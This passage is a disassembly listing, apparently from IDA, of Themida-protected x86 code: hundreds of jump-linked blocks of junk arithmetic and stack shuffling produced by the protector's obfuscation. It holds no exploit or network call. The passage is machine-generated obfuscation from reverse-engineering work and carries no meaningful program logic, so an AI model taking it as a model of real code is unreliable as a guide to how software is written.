--------------------------------------------------------------------------- loc_5637A2: ; CODE XREF: Themida_:0055E7B4j pop eax jmp loc_56208E ; --------------------------------------------------------------------------- loc_5637A8: ; CODE XREF: Themida_:00565B6Cj mov bl, 6Ah neg bl or bl, 16h and bl, 82h push eax mov al, 0ADh sub al, 0D0h or bl, al pop eax jmp loc_56F9B0 ; --------------------------------------------------------------------------- loc_5637BF: ; CODE XREF: Themida_:0056C3D8j add ebx, 2ED74D34h add ebx, 56CD5670h add ebx, ecx push edi mov edi, 17E65605h not edi xor edi, 0BED4FF8Ah jmp loc_570121 ; --------------------------------------------------------------------------- loc_5637E0: ; CODE XREF: Themida_:005689ABj sub eax, edi sub eax, 30194422h pop edi add ebx, eax jmp loc_5704E6 ; --------------------------------------------------------------------------- loc_5637EF: ; CODE XREF: Themida_:00568BACj push 6AAB263Bh jmp loc_55DA9D ; --------------------------------------------------------------------------- loc_5637F9: ; CODE XREF: Themida_:0055E7A1j mov ch, 3Bh or ch, 21h jmp loc_5674AA ; --------------------------------------------------------------------------- loc_563803: ; CODE XREF: Themida_:0056C5B0j sub esp, 4 mov [esp], ebp mov ebp, 50730467h push ebp sub dword ptr [esp], 701B3223h pop eax add eax, 701B3223h push dword ptr [esp] pop ebp add esp, 4 sub eax, 1C422C1Dh xor eax, 2318EB05h add ebx, 2E7E0Dh sub ebx, 3520FECh jmp loc_56CD62 ; --------------------------------------------------------------------------- loc_56383E: ; CODE XREF: Themida_:00562024j sub eax, ebx sub esp, 4 mov [esp], ecx mov ecx, 6A84749Ch sub eax, ecx mov ecx, [esp] add esp, 4 jmp loc_560F90 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5614DF ; --------------------------------------------------------------------------- loc_563867: ; CODE XREF: Themida_:0056EAB7j sub ebx, 1 dec ebx add ebx, 0C099E857h jmp loc_56B6E4 ; --------------------------------------------------------------------------- loc_563876: ; CODE XREF: Themida_:00571282j push dword ptr [esp] pop edx push eax push 126Dh mov [esp], esp push esi push edx mov edx, 4 mov esi, edx pop edx add dword ptr [esp+4], 419B48FEh jmp loc_562490 ; --------------------------------------------------------------------------- loc_56389A: ; CODE XREF: Themida_:00565FCDj sub edi, 0CA10A78h inc edi sub edi, 0DDC29BA1h sub ebp, edi mov edi, [esp] add esp, 4 and ecx, ebp mov ebp, [esp] add esp, 4 shr ecx, 7 jmp loc_56A91A ; --------------------------------------------------------------------------- loc_5638C2: ; CODE XREF: Themida_:0056DE01j pop edi sub esi, 0FFFFFFFFh sub esi, 1 jmp loc_56B8EB ; --------------------------------------------------------------------------- loc_5638D4: ; CODE XREF: Themida_:0055F703j mov bh, 52h sub esp, 4 jmp loc_56FFB9 ; --------------------------------------------------------------------------- loc_5638DE: ; CODE XREF: Themida_:00569DAEj sub ecx, 2 jmp loc_56A6BE ; --------------------------------------------------------------------------- loc_5638E9: ; CODE XREF: Themida_:0055FC5Dj add edi, 0CA7C9ABAh jmp loc_56E40D ; --------------------------------------------------------------------------- loc_5638F4: ; CODE XREF: Themida_:005702E4j add ebx, esi push ebp mov ebp, 5B945FE6h shr ebp, 5 not ebp not ebp sub ebp, 0CD0D95D2h jmp loc_55E73C ; --------------------------------------------------------------------------- loc_56390E: ; CODE XREF: Themida_:00571D02j pop ebx push eax push 2 pop eax jmp loc_566C84 ; --------------------------------------------------------------------------- loc_56391B: ; CODE XREF: Themida_:005606C0j add edx, ebp pop ebp or edx, 3B357BB3h neg edx sub edx, 5255532Bh jmp loc_561074 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebx push esp push dword ptr [esp] pop ebx push edx jmp loc_5667E5 ; --------------------------------------------------------------------------- loc_563941: ; CODE XREF: Themida_:0056AB7Cj push 17ADh mov [esp], edi mov edi, 686B573Ch sub esp, 4 jmp loc_563710 ; --------------------------------------------------------------------------- loc_563956: ; CODE XREF: Themida_:00565FB9j mov ax, [esp] push 2E63h mov [esp], edi push esp push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], ecx push ebx jmp loc_572685 ; --------------------------------------------------------------------------- lodsd push 2FC3h jmp loc_56906C ; --------------------------------------------------------------------------- loc_563984: ; CODE XREF: Themida_:0056CD5Dj mov [esp], eax push 2629h push esp jmp loc_560D07 ; --------------------------------------------------------------------------- loc_563992: ; CODE XREF: Themida_:00567FE0j push edi mov edi, 20000h mov esi, edi jmp loc_562B12 ; --------------------------------------------------------------------------- loc_56399F: ; CODE XREF: Themida_:0055EC75j add edi, 4F3B4FAAh sub edi, 0A6537Dh add esi, edi pop edi add esi, eax push 6DCBh mov [esp], eax jmp loc_564903 ; --------------------------------------------------------------------------- loc_5639BD: ; CODE XREF: Themida_:00569070j push 4E65222Dh push dword ptr [esp] push dword ptr [esp] jmp loc_5633C6 ; --------------------------------------------------------------------------- loc_5639CD: ; CODE XREF: Themida_:00569C23j sub edi, 54F6163Dh push dword ptr [esp] pop edx add esp, 4 push 2BEAh mov [esp], ebx jmp loc_55F6DC ; --------------------------------------------------------------------------- loc_5639EA: ; CODE XREF: Themida_:00566AFFj add ebx, 4 push ecx mov ecx, 34475B7Eh jmp loc_56E5F4 ; --------------------------------------------------------------------------- loc_5639FB: ; CODE XREF: Themida_:0055FD7Bj mov ebp, ecx push dword ptr [esp] jmp loc_55F4BD ; --------------------------------------------------------------------------- loc_563A05: ; CODE XREF: Themida_:00562472j xor ecx, 27C76F2h jmp loc_568B5E ; --------------------------------------------------------------------------- loc_563A10: ; CODE XREF: Themida_:0055DF7Ej shr eax, 2 add eax, 2A84196Bh jmp loc_564B56 ; --------------------------------------------------------------------------- loc_563A1D: ; CODE XREF: Themida_:005724BFj not dh push cx mov ch, 6Fh jmp loc_56FF1D ; --------------------------------------------------------------------------- loc_563A28: ; CODE XREF: Themida_:0056C550j pop ebx add eax, 4 xchg eax, [esp] pop esp xor esi, 40305A13h jmp loc_57028C ; --------------------------------------------------------------------------- loc_563A3B: ; CODE XREF: Themida_:00562367j pop eax sub esp, 4 jmp loc_5644E3 ; --------------------------------------------------------------------------- loc_563A44: ; CODE XREF: Themida_:00565327j push 652B1F26h pop esi add esi, 7369536Ch jmp loc_569F5A ; --------------------------------------------------------------------------- loc_563A55: ; CODE XREF: Themida_:005634B3j add ebp, 4 push edx jmp loc_55E751 ; --------------------------------------------------------------------------- loc_563A61: ; CODE XREF: Themida_:0056EC73j xor ecx, [esp] jmp loc_564ED6 ; --------------------------------------------------------------------------- loc_563A69: ; CODE XREF: Themida_:0056439Ej add esp, 4 add esi, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_56D2CD ; --------------------------------------------------------------------------- loc_563A85: ; CODE XREF: Themida_:005646E8j mov ecx, 627A0908h shl ecx, 6 xor ecx, 456526A4h jmp loc_562570 ; --------------------------------------------------------------------------- loc_563A98: ; CODE XREF: Themida_:0056D8E7j mov ebx, 59285C6Bh add edx, ebx pop ebx push edi mov edi, 7131644Fh shl edi, 5 sub edi, 0FF5B2845h sub edx, 26077A1Eh add edx, edi add edx, 26077A1Eh pop edi jmp loc_55D86D ; --------------------------------------------------------------------------- loc_563AC3: ; CODE XREF: Themida_:0056C282j pop edi jmp loc_56AF0C ; --------------------------------------------------------------------------- loc_563AC9: ; CODE XREF: Themida_:00562678j and ecx, esi push dword ptr [esp] pop esi push edx mov edx, esp add edx, 4 jmp loc_570820 ; --------------------------------------------------------------------------- loc_563ADD: ; CODE XREF: Themida_:005702EDj push eax jmp loc_56AC4E ; --------------------------------------------------------------------------- loc_563AE3: ; CODE XREF: Themida_:0056FE00j mov edi, [esp] add esp, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] mov cx, [esp] push ebp jmp loc_5630E6 ; --------------------------------------------------------------------------- loc_563AFF: ; CODE XREF: Themida_:0056D1F6j mov ecx, 133B1517h mov ebx, ecx pop ecx push edx push edi mov edi, 79D63B6h jmp loc_562321 ; --------------------------------------------------------------------------- loc_563B13: ; CODE XREF: Themida_:0056000Ej or ebx, 150F5566h neg ebx add ebx, 8B14D3F8h jmp loc_56A870 ; --------------------------------------------------------------------------- loc_563B26: ; CODE XREF: Themida_:0055FF76j pop ecx add esp, 4 add ecx, 4 push eax mov eax, 4 add ecx, 751F78B6h add ecx, eax jmp loc_564BBF ; --------------------------------------------------------------------------- loc_563B46: ; CODE XREF: Themida_:0056C3EDj push ebx mov bh, 3Eh jmp loc_570F58 ; --------------------------------------------------------------------------- loc_563B4E: ; CODE XREF: Themida_:005616F6j push eax push edx mov dh, 86h mov ah, 79h jmp loc_5641E0 ; --------------------------------------------------------------------------- loc_563B59: ; CODE XREF: Themida_:00567993j sub cl, ah pop eax jmp loc_56F910 ; --------------------------------------------------------------------------- loc_563B61: ; CODE XREF: Themida_:0056299Fj add esp, 4 jmp loc_564BA7 ; --------------------------------------------------------------------------- loc_563B69: ; CODE XREF: Themida_:0056754Ej add edx, 2993310Dh add edx, ecx sub edx, 2993310Dh sub edx, 57412D0Eh add edx, 3CF41F77h pop ecx jmp loc_55D86D ; --------------------------------------------------------------------------- loc_563B89: ; CODE XREF: Themida_:00566E08j mov esp, [esp] mov ax, [esp] push ebp sub esp, 4 jmp loc_563DB5 ; --------------------------------------------------------------------------- loc_563B99: ; CODE XREF: Themida_:0056A9F5j mov edi, 59E70D59h or edi, 2F971897h xor edi, 7B806CFh jmp loc_56D957 ; --------------------------------------------------------------------------- loc_563BAF: ; CODE XREF: Themida_:00568171j pop edi jmp loc_564D82 ; --------------------------------------------------------------------------- loc_563BB5: ; CODE XREF: Themida_:00570B58j push esp jmp loc_55DC9E ; --------------------------------------------------------------------------- loc_563BBB: ; CODE XREF: Themida_:005647F5j push dword ptr [esp] pop ecx push 33B4h mov [esp], eax sub esp, 4 mov [esp], esp jmp loc_55E2AA ; --------------------------------------------------------------------------- loc_563BD5: ; CODE XREF: Themida_:00560410j shr ecx, 4 add ecx, 0FFFFFFFFh jmp loc_56C9C1 ; --------------------------------------------------------------------------- loc_563BE3: ; CODE XREF: Themida_:00564961j sub edx, 1A7F2812h push eax jmp loc_56F0E9 ; --------------------------------------------------------------------------- loc_563BEF: ; CODE XREF: Themida_:005659E9j xor edi, 148579ACh pop edx jmp loc_55F17A ; --------------------------------------------------------------------------- loc_563BFB: ; CODE XREF: Themida_:0055FA74j pop ecx sub edi, 0EBE52A2h add edi, esi sub esp, 4 jmp loc_5725A4 ; --------------------------------------------------------------------------- loc_563C0F: ; CODE XREF: Themida_:00564381j mov ecx, 5A9C3DD6h sub ecx, 0AB9E76h xor edx, ecx jmp loc_56F52F ; --------------------------------------------------------------------------- loc_563C21: ; CODE XREF: Themida_:0056DF33j add edx, 4 xchg edx, [esp] pop esp add ebx, 0A76A552Ch sub eax, 72131C2Eh add eax, 6A6D11A9h sub eax, ebx sub eax, 6A6D11A9h add eax, 72131C2Eh pop ebx pop edx jmp loc_56541D ; --------------------------------------------------------------------------- loc_563C4E: ; CODE XREF: Themida_:00567389j push 7A64h mov [esp], ecx mov ecx, 474D410Ch add [esp+8], ecx jmp loc_55E855 ; --------------------------------------------------------------------------- loc_563C64: ; CODE XREF: Themida_:0055E610j mov bl, ah pop eax push dx mov dl, 0A7h xor bl, dl mov dx, [esp] add esp, 2 xchg ah, bl not ah xchg ah, bl sub esp, 4 mov [esp], ecx mov cl, 47h jmp loc_56E0EA ; --------------------------------------------------------------------------- loc_563C8A: ; CODE XREF: Themida_:00568752j add ecx, 3E0D0588h push ebx mov ebx, 9080A29h sub ecx, ebx pop ebx and ecx, 725D457Bh add ecx, 0F198CD13h jmp loc_565F4D ; --------------------------------------------------------------------------- loc_563CAA: ; CODE XREF: Themida_:0055E826j add ebx, eax pop eax jmp loc_566755 ; --------------------------------------------------------------------------- loc_563CB2: ; CODE XREF: Themida_:00566854j push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push ebp mov ebp, esp push ebx mov ebx, 4 push 1E33h jmp loc_568937 ; --------------------------------------------------------------------------- loc_563CDD: ; CODE XREF: Themida_:00560635j add edx, eax sub edx, 13E02C5Ch jmp loc_5697E3 ; --------------------------------------------------------------------------- loc_563CEA: ; CODE XREF: Themida_:0056B858j add eax, 4 jmp loc_56BAC2 ; --------------------------------------------------------------------------- loc_563CF4: ; CODE XREF: Themida_:00566C16j mov [esp], ebp mov ebp, 25FB1D4Bh sub eax, 43522FC0h add eax, 63D67306h sub eax, ebp sub eax, 63D67306h add eax, 43522FC0h push dword ptr [esp] push dword ptr [esp] pop ebp push ebp jmp loc_568D13 ; --------------------------------------------------------------------------- loc_563D1F: ; CODE XREF: Themida_:00566FDCj add esi, 0AF93E7h push ebp jmp loc_568DCC ; --------------------------------------------------------------------------- loc_563D2B: ; CODE XREF: Themida_:0056A694j add esp, 4 jmp loc_569161 ; --------------------------------------------------------------------------- loc_563D36: ; CODE XREF: Themida_:0056D783j push esp jmp loc_56E59F ; --------------------------------------------------------------------------- loc_563D3C: ; CODE XREF: Themida_:0056431Fj and ecx, 461208D2h and ecx, 1EC842C0h shl ecx, 3 xor ecx, 40860144h mov esi, ecx pop ecx jmp loc_56BA0D ; --------------------------------------------------------------------------- loc_563D59: ; CODE XREF: Themida_:00565410j xor [esp], ebp xor ebp, [esp] jmp loc_56C077 ; --------------------------------------------------------------------------- loc_563D64: ; CODE XREF: Themida_:0055F0D0j pop ecx pop eax mov edx, ecx pop ecx jmp loc_571FC4 ; --------------------------------------------------------------------------- loc_563D6E: ; CODE XREF: Themida_:00566428j add edi, 4 jmp loc_562136 ; --------------------------------------------------------------------------- loc_563D79: ; CODE XREF: Themida_:00562B6Cj push cx mov ch, bh not ch mov bh, ch pop cx jmp loc_56B3A7 ; --------------------------------------------------------------------------- loc_563D88: ; CODE XREF: Themida_:005674F8j add ecx, ebp pop ebp push edi mov edi, 7C4A1FEAh jmp loc_55FEEC ; --------------------------------------------------------------------------- loc_563D96: ; CODE XREF: Themida_:00566010j pop edi sub ebx, 2 jmp loc_55EEB9 ; --------------------------------------------------------------------------- loc_563DA2: ; CODE XREF: Themida_:0055FEB2j pop esp mov [esp], ebx jmp loc_55DD3A ; --------------------------------------------------------------------------- loc_563DAB: ; CODE XREF: Themida_:0055F8B5j mov [esp], eax push esp pop eax jmp loc_56C178 ; --------------------------------------------------------------------------- loc_563DB5: ; CODE XREF: Themida_:00563B94j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_569F84 ; --------------------------------------------------------------------------- loc_563DCB: ; CODE XREF: Themida_:00570A4Bj mov edx, 4B8E5C09h sub eax, edx pop edx add eax, 125759B6h push edx push 40A9h mov [esp], eax push ecx mov ecx, 13882613h push ecx mov ecx, 3F576DB1h neg ecx xor ecx, 7B6104CAh add ecx, 79A4285Ah jmp loc_5694D3 ; --------------------------------------------------------------------------- loc_563E00: ; CODE XREF: Themida_:0055E987j add eax, 4 push edi mov edi, 4 sub eax, edi mov edi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_56C72A ; --------------------------------------------------------------------------- loc_563E22: ; CODE XREF: Themida_:00562F02j mov ch, ah jmp loc_55F133 ; --------------------------------------------------------------------------- loc_563E29: ; CODE XREF: Themida_:00572147j pop ebp sub eax, 5B070143h pop edi push dword ptr [esp] pop esi add esp, 4 sub esp, 4 mov [esp], esi jmp loc_569A84 ; --------------------------------------------------------------------------- loc_563E42: ; CODE XREF: Themida_:00564A64j inc ecx not ecx neg ecx jmp loc_563E90 ; --------------------------------------------------------------------------- loc_563E4C: ; CODE XREF: Themida_:00560659j add esp, 4 pop ecx jmp loc_55F172 ; --------------------------------------------------------------------------- loc_563E58: ; CODE XREF: Themida_:0055DC82j xor eax, [esp] mov esp, [esp] add [esp], al pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_563E67: ; CODE XREF: Themida_:0055E56Dj mov edi, [esp] add esp, 4 jmp loc_56B434 ; --------------------------------------------------------------------------- loc_563E72: ; CODE XREF: Themida_:005676EBj pop eax sub edi, 2284584Eh mov ebx, edi pop edi jmp loc_56E60C ; --------------------------------------------------------------------------- loc_563E81: ; CODE XREF: Themida_:0056C9D7j pop ecx sub ebp, 14BC474Fh add ebp, eax push ecx jmp loc_562477 ; --------------------------------------------------------------------------- loc_563E90: ; CODE XREF: Themida_:00563E47j xor ecx, 0F7EC9101h mov ebx, ecx mov ecx, [esp] push edi push esp pop edi sub esp, 4 mov [esp], edx jmp loc_56EE6F ; --------------------------------------------------------------------------- loc_563EAC: ; CODE XREF: Themida_:0056CC63j mov ebx, esp push 793h mov [esp], esi mov esi, 5B933A6Eh or esi, 516257F9h sub esi, 5BF37FFBh sub ebx, 5CD66E74h add ebx, esi add ebx, 5CD66E74h mov esi, [esp] add esp, 4 push eax push esi mov esi, 4 mov eax, esi jmp loc_55DDEA ; --------------------------------------------------------------------------- loc_563EE9: ; CODE XREF: Themida_:00567EEFj mov ecx, 4 add edi, ecx pop ecx jmp loc_56AF83 ; --------------------------------------------------------------------------- loc_563EF6: ; CODE XREF: Themida_:00572094j sub ch, 0D1h jmp loc_56B6DD ; --------------------------------------------------------------------------- loc_563EFE: ; CODE XREF: Themida_:0056770Aj mov esp, [esp] mov [esp], eax mov eax, 61682D6Fh inc eax push ebx mov ebx, 61682D6Ch sub eax, ebx mov ebx, [esp] add esp, 4 add esi, 566372DAh add esi, eax jmp loc_571CC4 ; --------------------------------------------------------------------------- loc_563F25: ; CODE XREF: Themida_:00560565j pop edi jmp loc_55EDA8 ; --------------------------------------------------------------------------- loc_563F2B: ; CODE XREF: Themida_:00572109j shl ebp, 2 shr ebp, 8 push esi jmp loc_5681E8 ; --------------------------------------------------------------------------- loc_563F37: ; CODE XREF: Themida_:0056F998j sub esp, 4 mov [esp], ebx mov ebx, 61784001h or ecx, ebx pop ebx push esi push eax mov eax, 36770397h mov esi, eax pop eax add ecx, esi pop esi push edi jmp loc_569A4B ; --------------------------------------------------------------------------- loc_563F58: ; CODE XREF: Themida_:00570616j xchg esi, [esp] jmp loc_56D695 ; --------------------------------------------------------------------------- loc_563F60: ; CODE XREF: Themida_:00560C8Bj add ecx, ebx jmp loc_571CE8 ; --------------------------------------------------------------------------- loc_563F67: ; CODE XREF: Themida_:00560101j add esp, 4 add esp, 4 add esi, ebx pop ebx add esi, 2 xor esi, [esp] xor [esp], esi jmp loc_571769 ; --------------------------------------------------------------------------- loc_563F7E: ; CODE XREF: Themida_:005726DBj mov eax, 37B854ABh jmp loc_5669F0 ; --------------------------------------------------------------------------- loc_563F88: ; CODE XREF: Themida_:00570141j mov edx, 4 add edi, edx jmp loc_564A2D ; --------------------------------------------------------------------------- loc_563F94: ; CODE XREF: Themida_:00565EBAj mov [esp], ecx jmp loc_55D86D ; --------------------------------------------------------------------------- loc_563F9C: ; CODE XREF: Themida_:005635E8j pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_5667DD ; --------------------------------------------------------------------------- loc_563FA8: ; CODE XREF: Themida_:0056EC31j add dword ptr [esp+8], 3046650Ch jmp loc_56737C ; --------------------------------------------------------------------------- loc_563FB5: ; CODE XREF: Themida_:00563421j add ebx, 370407E8h shl ebx, 6 add ebx, 0FFA272C4h add ecx, ebx pop ebx jmp loc_5683D1 ; --------------------------------------------------------------------------- loc_563FCC: ; CODE XREF: Themida_:00571CBFj sub esp, 4 mov [esp], eax push 6DC4h jmp loc_566278 ; --------------------------------------------------------------------------- loc_563FDC: ; CODE XREF: Themida_:005603ABj xchg ecx, [esp] pop esp mov [esp], ebp jmp loc_56FBD1 ; --------------------------------------------------------------------------- loc_563FE8: ; CODE XREF: Themida_:0056C6ACj xchg ebx, [esp] jmp loc_569E6A ; --------------------------------------------------------------------------- loc_563FF0: ; CODE XREF: Themida_:0056E303j push 142Ah jmp loc_569159 ; --------------------------------------------------------------------------- loc_563FFA: ; CODE XREF: Themida_:0056168Aj pop ebp pop dword ptr [esp] pop esp or [esp], eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_564008: ; CODE XREF: Themida_:0055DF76j push 63F7h mov [esp], eax sub esp, 4 mov [esp], esp jmp loc_569592 ; --------------------------------------------------------------------------- loc_56401E: ; CODE XREF: Themida_:00570EF7j add edi, esi pop esi jmp loc_564386 ; --------------------------------------------------------------------------- loc_564026: ; CODE XREF: Themida_:0056BB4Dj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push ecx sub esp, 4 mov [esp], eax push edx jmp loc_55E24C ; --------------------------------------------------------------------------- loc_564043: ; CODE XREF: Themida_:0055E74Cj xor [esp], ecx push dword ptr [esp] pop ebx add esp, 4 jmp loc_55ECDE ; --------------------------------------------------------------------------- loc_564052: ; CODE XREF: Themida_:005645D9j pop esi or eax, ebx jmp loc_56645D ; --------------------------------------------------------------------------- loc_56405A: ; CODE XREF: Themida_:0056254Cj mov ecx, edx pop edx add ecx, 44BD220Ah not ecx push ebx mov ebx, 0B5AB7F03h sub ecx, ebx jmp loc_57122E ; --------------------------------------------------------------------------- loc_564072: ; CODE XREF: Themida_:00560B8Ej add edx, ecx pop ecx pop ebp xor edx, 0A5B681Eh sub edx, 0D9849EDAh push 50FFh mov [esp], edx pop ecx jmp loc_56FD5F ; --------------------------------------------------------------------------- loc_564090: ; CODE XREF: Themida_:005679D5j xor ebp, 0E0F42ACh xor eax, ebp pop ebp sub ecx, 58E6042Ah jmp loc_561CE1 ; --------------------------------------------------------------------------- loc_5640A4: ; CODE XREF: Themida_:00570531j mov esi, 32A04B3Ch jmp loc_56364D ; --------------------------------------------------------------------------- loc_5640AE: ; CODE XREF: Themida_:00571A42j sub [esp+4], esi add dword ptr [esp+4], 2FC62034h mov esi, [esp] add esp, 4 jmp loc_5666DE ; --------------------------------------------------------------------------- loc_5640C5: ; CODE XREF: Themida_:005654D7j xchg edx, [esp] pop esp mov [esp], esi jmp loc_56D61F ; --------------------------------------------------------------------------- loc_5640D1: ; CODE XREF: Themida_:0056F572j pop ecx add ebx, 0C71644A7h sub edx, ebx jmp loc_571E78 ; --------------------------------------------------------------------------- loc_5640DF: ; CODE XREF: Themida_:00568CDDj shl ebp, 6 jmp loc_5685DA ; --------------------------------------------------------------------------- loc_5640E7: ; CODE XREF: Themida_:0055E247j mov ebx, 9601605h or ebx, 1E875897h shl ebx, 2 not ebx jmp loc_562902 ; --------------------------------------------------------------------------- loc_5640FC: ; CODE XREF: Themida_:0056DDB9j mov edx, 2DA24BCh and edx, 12742B78h push eax mov eax, 3CD35641h not eax inc eax push edi mov edi, 6ED566E2h or eax, edi pop edi jmp loc_5722D2 ; --------------------------------------------------------------------------- loc_56411E: ; CODE XREF: Themida_:0057250Cj mov esi, esp add esi, 4 push ecx mov ecx, 5FB3318Ch sub ecx, 5FB33188h add esi, ecx jmp loc_5604FC ; --------------------------------------------------------------------------- loc_564139: ; CODE XREF: Themida_:0057101Bj push esp jmp loc_56B2FF ; --------------------------------------------------------------------------- loc_56413F: ; CODE XREF: Themida_:0055FCE2j mov ebp, esp add ebp, 4 push 575Fh mov [esp], edx mov edx, 4 add ebp, edx pop edx jmp loc_56BEA6 ; --------------------------------------------------------------------------- loc_56415C: ; CODE XREF: Themida_:0055F8C9j sub ebx, esi jmp loc_55EED0 ; --------------------------------------------------------------------------- loc_564163: ; CODE XREF: Themida_:00567CA5j push edi mov edi, 3650214Bh add edi, 33F3128Dh xor ebp, edi pop edi mov ecx, ebp pop ebp and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 8 jmp loc_560BBF ; --------------------------------------------------------------------------- loc_564188: ; CODE XREF: Themida_:00568E57j mov eax, 1DD475A6h xor edx, eax pop eax add ecx, edx pop edx add ecx, eax sub ecx, 35AB65ECh add ecx, 3A7B6CECh sub ecx, 394734A3h pop eax jmp loc_56D7E6 ; --------------------------------------------------------------------------- loc_5641AD: ; CODE XREF: Themida_:00565E17j mov [esp], edi push esp pop edi jmp loc_5693F1 ; --------------------------------------------------------------------------- loc_5641B7: ; CODE XREF: Themida_:0056E8AAj mov edi, [esp] add esp, 4 mov edi, 20E54264h xor edi, ebp jmp loc_55FD80 ; --------------------------------------------------------------------------- loc_5641CC: ; CODE XREF: Themida_:0056872Dj pop edx xor esi, 4F65A74h sub ebp, 59690269h add ebp, esi jmp loc_567131 ; --------------------------------------------------------------------------- loc_5641E0: ; CODE XREF: Themida_:00563B54j sub ah, dh pop edx shr ah, 7 shr ah, 2 jmp loc_56E9C9 ; --------------------------------------------------------------------------- loc_5641EE: ; CODE XREF: Themida_:00566EB9j shr bh, 8 xor bh, 0DBh add al, 82h sub al, 0D8h jmp loc_561648 ; --------------------------------------------------------------------------- loc_5641FD: ; CODE XREF: Themida_:0056F8CCj add ebp, 4 jmp loc_5601B4 ; --------------------------------------------------------------------------- loc_564208: ; CODE XREF: Themida_:0056DDDCj mov [esp], ecx mov ecx, 65E73069h push eax push ebp jmp loc_56F138 ; --------------------------------------------------------------------------- loc_564217: ; CODE XREF: Themida_:0056994Ej xor edx, [esp] jmp loc_568310 ; --------------------------------------------------------------------------- loc_56421F: ; CODE XREF: Themida_:0056EBC5j mov esi, 5481F68Ah add esi, ebx jmp loc_57068D ; --------------------------------------------------------------------------- loc_56422B: ; CODE XREF: Themida_:0057154Fj sub esp, 4 mov [esp], ebx jmp loc_5606F1 ; --------------------------------------------------------------------------- loc_564239: ; CODE XREF: Themida_:00570DF5j pop esi add edi, edx jmp loc_570184 ; --------------------------------------------------------------------------- loc_564241: ; CODE XREF: Themida_:00571F9Fj pop eax add esp, 4 push 17F8h mov [esp], ebx mov ebx, 772F4EE4h jmp loc_56CE94 ; --------------------------------------------------------------------------- loc_564257: ; CODE XREF: Themida_:005625ACj mov eax, ecx pop ecx push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 sub edi, 4BC264D4h sub edi, eax add edi, 4BC264D4h mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55F9D2 ; --------------------------------------------------------------------------- loc_56428B: ; CODE XREF: Themida_:00560418j mov ecx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push edi mov edi, 75C14063h add edi, 40DC4509h dec edi jmp loc_5609F4 ; --------------------------------------------------------------------------- loc_5642A8: ; CODE XREF: Themida_:00565B5Cj push bx mov bl, 0Ch sub cl, bl pop bx push 7EC2h mov [esp], ebx push eax mov al, 33h xor al, 57h push ebx mov bl, 17h inc bl inc bl and bl, 0DBh add bl, 9 jmp loc_56442E ; --------------------------------------------------------------------------- loc_5642CF: ; CODE XREF: Themida_:00562FC1j mov ebx, 73D81C78h not ebx add ebx, 0DEA53A43h xor esi, ebx pop ebx add ecx, esi pop esi push esi mov esi, 4 add ecx, esi pop esi push ecx push dword ptr [esp+4] pop ecx jmp loc_569277 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp jmp loc_566517 ; --------------------------------------------------------------------------- loc_564307: ; CODE XREF: Themida_:00565C2Aj mov ebp, 4EDE2183h sub ebp, 4EDE217Fh add esi, ebp jmp loc_5666EE ; --------------------------------------------------------------------------- loc_564319: ; CODE XREF: Themida_:005717B0j push 2CD2C48h pop ecx jmp loc_563D3C ; --------------------------------------------------------------------------- loc_564324: ; CODE XREF: Themida_:00561D59j xor esi, 7FF39A69h add edi, esi jmp loc_5707D8 ; --------------------------------------------------------------------------- loc_564331: ; CODE XREF: Themida_:0056DC71j pop ebp sub esp, 4 mov [esp], esi mov esi, 1E9453C8h sub esi, 1 xor esi, 1E9453C5h sub edx, esi jmp loc_56997C ; --------------------------------------------------------------------------- loc_564350: ; CODE XREF: Themida_:0056D56Dj xor [esp], ecx xor ecx, [esp] jmp loc_56B4FB ; --------------------------------------------------------------------------- loc_56435B: ; CODE XREF: Themida_:0056535Fj push eax jmp loc_56FEA9 ; --------------------------------------------------------------------------- loc_564361: ; CODE XREF: Themida_:0056AD8Dj xor ebp, 5EBB4683h dec ebp push edi mov edi, 320E1782h jmp loc_57171F ; --------------------------------------------------------------------------- loc_564373: ; CODE XREF: Themida_:0056C007j sub edx, 0C52B19h dec edx add edx, 7C990149h push ecx jmp loc_563C0F ; --------------------------------------------------------------------------- loc_564386: ; CODE XREF: Themida_:00564021j add edi, 4 jmp loc_56F521 ; --------------------------------------------------------------------------- loc_564391: ; CODE XREF: Themida_:0056304Ej push esi mov ecx, [esp] add esp, 4 mov esi, [esp] jmp loc_563A69 ; --------------------------------------------------------------------------- loc_5643A3: ; CODE XREF: Themida_:00561A4Bj sub esp, 4 mov [esp], ebx push 678D3779h mov ebx, [esp] add esp, 4 jmp loc_570500 ; --------------------------------------------------------------------------- loc_5643BC: ; CODE XREF: Themida_:00570A64j add ch, 0EFh xor al, ch mov ecx, [esp] jmp loc_56F22B ; --------------------------------------------------------------------------- loc_5643C9: ; CODE XREF: Themida_:0056377Bj push esi push 3416138Ch pop esi sub esi, 71C76329h sub esi, 0C24EB05Fh mov eax, esi jmp loc_562F76 ; --------------------------------------------------------------------------- loc_5643E3: ; CODE XREF: Themida_:0055F965j pop ebp jmp loc_5710DD ; --------------------------------------------------------------------------- loc_5643E9: ; CODE XREF: Themida_:0056C48Fj sub esp, 4 jmp loc_56C8E1 ; --------------------------------------------------------------------------- loc_5643F4: ; CODE XREF: Themida_:00566AA5j mov ecx, 4 jmp loc_561407 ; --------------------------------------------------------------------------- loc_5643FE: ; CODE XREF: Themida_:0055EDD1j mov ecx, 2 add eax, ecx pop ecx push eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 jmp loc_567226 ; --------------------------------------------------------------------------- loc_56441A: ; CODE XREF: Themida_:0056A6E3j push ebx jmp 